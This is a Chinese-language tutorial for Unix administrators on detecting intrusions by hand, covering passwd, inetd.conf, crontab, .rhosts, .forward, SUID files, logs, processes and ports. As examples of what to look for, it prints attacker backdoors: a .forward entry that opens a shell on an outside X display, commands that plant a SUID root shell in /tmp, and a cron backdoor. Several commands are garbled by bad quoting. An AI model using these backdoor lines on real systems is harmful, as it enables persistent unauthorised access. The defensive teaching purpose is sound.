一个好的网管员不但要管理好网络,能及时排除各种故障,还要注意网络安全,提防黑客入侵。所以熟悉常用手工入侵检测的方法和命令也应该是网管员们的基本技能之一。本文介绍的是一些Unix下常用手工入侵检测方法与命令,网管员们掌握了它不但可以迅速判断出一些简单的黑客入侵,还可以加深对入侵检测的了解,从而能更好地使用一些入侵检测和审计工具。
检查/etc/passwd文件中是否有可疑用户
Unix中/etc/passwd文件是存储系统用户口令等重要信息的文件,黑客入侵系统后往往会使用在passwd文件中增加特权用户的方法为自己留个后门。所以我们要经常查看,如果您的系统用户较少,您可以采用直接查看passwd文件的方法,命令如下:
$ cat /etc/passwd
如果您的系统有成百上千个用户,那直接查看就不行了,不过我们只要检测其中是否有UID为0的特权用户就行了,这时可以使用以下命令来实现:
$ awk -F:‘$3= = 0{print $1}’/etc/passwd
如果您还想看看是否有空口令用户,那可以用如下命令:
$ awk -F:‘length($2)= = 0 {print $1}’/etc/shadow
当然网管员不可能每天都去查看passwd文件,我们可以编写一个如下的脚本程序,并将其放入/etc/cron.daily文件中,让它每天检测passwd文件中的所有UID和GID为0的用户,然后把清单寄给root,这样网管员只要每天收看一下信件就行了。具体脚本如下:
$ grep‘0:0’/etc/passwd | awk‘BEGIN {FS=“:”} / {print $1}’| mail -s “‘date +”%d%f“‘”root
检查/etc/inet.conf和crontab文件是否被修改
Inet.conf是系统守护进程的配置文件,里面的服务会随系统的启动而启动,如系统开放了Telent服务,inet.conf文件中就会有这样一个语句:
telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd
从左到右依次表示的是:服务名称、套接口类型、协议类型、运行动作、进程所属用户、守护进程路径名、守护进程名字及参数。黑客会通过替换或增加其中的服务来运行他的后门,网管员应该对 /etc/inetd.conf 中的内容比较熟悉,然后用如下命令列出其中的所有服务:
$ ls -l /etc/inetd.conf
再一一查看是否有可疑服务、服务名与其对应的程序是否一致。
同样/etc/crontab文件是Cron 服务的配置文件,Cron用于计划程序在特定时间运行的服务, 系统的crontab文件在/etc/中,root用户的 crontab 文件在 /var/spool/crontab/root 中,其具体格式如下:
0 0 * * 3 /usr/bin/backdoor
从左到右依次表示的是:分钟、小时、日、月、星期、所要运行的程序。像上面这个例子就是用户在每天的午夜零点运行backdoor程序,而这个backdoor程序如果是黑客程序呢!明白了吧,所以网管员也要经常用cat命令查看其crontab文件,看是否有黑客混入。
检查.rhosts、/etc/hosts.equiv、.forward文件是否被修改
这几个文件是常被黑客利用来安装后门的文件。如果您的系统开了像Rlogin、Rsh、Rexec等R类服务,那您必须检查.rhosts 、/etc/hosts.equiv这两个文件了,因为像Rsh和Rlogin这样的服务是基于rhosts文件里的主机名使用简单的认证方法,黑客只要向可以访问的某用户的rhosts文件中输入“++”,那就允许任何人从任何地方无须口令使用这个账号从513端口的Rlogin服务登录您的机子,而且像Rsh服务缺少日志能力,更加不容易被发现,.hosts.equiv文件也类似。管理员们可以用如下命令检查这两个文件:
$ find / -name“rhosts”-print | grep‘++’
cat /etc/hosts.equiv
不过实际上黑客只要将.rhosts文件设置成允许来自网上的某一个账号的主机名和用户名登录就行,所以管理员们最好能借助审计工具更仔细检查这些文件。
还有一个.forward文件。在.forward文件里放入命令是Unix中黑客重新获得访问的常用方法。像用户username的.forward文件的home 文件夹中,黑客会把 .forward设置如下:
/username |“/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh”
这种方法的变形包括改变系统的mail的别名文件、从.forward中运行简单脚本实现在标准输入执行等。所以网管员们也要经常检查.forward文件
检查是否有危险的Root Suid程序
Root Suid程序更是黑客在Unix系统留后门的一种常见方法,黑客通过种种方法取得了root权限后,他便会拷贝一份root shell,并将它设置Suid(set uid)位,然后保存在隐蔽的文件夹中:
#cp /bin/sh /tmp/.backdoor
#chmod u+s /tmp/.backdoor
下次黑客以一般用户登录后,只要运行这个.backdoor就又能获得root 权限了。要发现它比较简单,网管员们可以用以下命令:
# find / -type f (-perm -4000 -o -perm -2000 ) -print
检查系统日志
Unix的日志可以说是比较健全的,它记录了用户登录、操作及系统事件等等许多东西。Unix系统日志文件通常是存放在/var/log和/var/adm目录下,但每个Unix版本不同存放日志的具体地方可能不同,大家可以通过查看/etc/syslog.conf知道日志配置的具体情况。具体的日志文件有lastlog、utmp、wtmp、syslog 、sulog等,它们记录的分别是不同的事件,通过查看这些日志可以获得一些黑客入侵的“蛛丝马迹”,当然前提是日志没有被黑客动过手脚。
如像lastlog记录的是所有用户的最近登录时间和访问时的网络地址,我们想查看最近30次登录的用户和他们的地址,可以用如下命令:
last -30
utmp则记录的是当前登录到系统的用户信息,我们可以用who命令来查看。wtmp记录的是记录历史的login和lognout信息,可以用last命令访问。而syslog记录的是各种程序产生的日志,sulog记录的是用户用su命令转变为另一用户的信息。
检查是否有可疑进程
百分之九十的后门和木马都是以进程形式存在的,所以查看是否有可疑进程很重要,这就要求网管员对各个进程非常熟悉才行。当然重点是查看Unix系统的inetd守护进程,原因我们前面说了因为inetd守护进程的程序随系统启动而启动,所以黑客后门程序通常加在inet.conf中。可以用以下命令查看其进程:
# ps -aef | grep inetd
当然inetd很多,如何能看出可疑进程呢?首先正常的inetd的pid比较靠前,其次Unix系统中没有用inetd去启动某个文件的情况,如果用ps命令看到了类似于inetd -s /tmp/.backdoor的启动进程时就要注意了!如果不是网管员自己加的,那就说明有人已经侵入您的系统了。
检查网络连接和开放端口
黑客所留的后门中有一些会开启系统新的端口进行监听,等待黑客连接。最简单常见的就是将一个加密root shell绑定在高位端口上。所以网管员们应该经常查看网络连接状态,看看是否有可疑连接和可疑端口,此类常用命令如下:
查看网卡设置:
# ifconfig -a
查看本机的路由、网关设置情况:
# netstat -m
查看本机所有的网络连接:
# netstat -an
查看本机所有开放的端口:
# netstat -an | grep listen
以上介绍的是一些简单的入侵检测原理和方法,正如我们看到的,手工入侵检测相当烦琐,很难进行深层次的检测,而且这些检测大多基于系统命令,如果系统文件已经被黑客替换的话,就不可能进行准确的检测,要正确有效地进行入侵检测和审计需要借助于一些入侵分析工具。本文介绍这些方法的目的也不是为了提倡大家手工检测入侵、排斥入侵审计工具,而是让大家对入侵检测原理有个最基本的了解、使网管员们能更正确有效地使用入侵分析工具。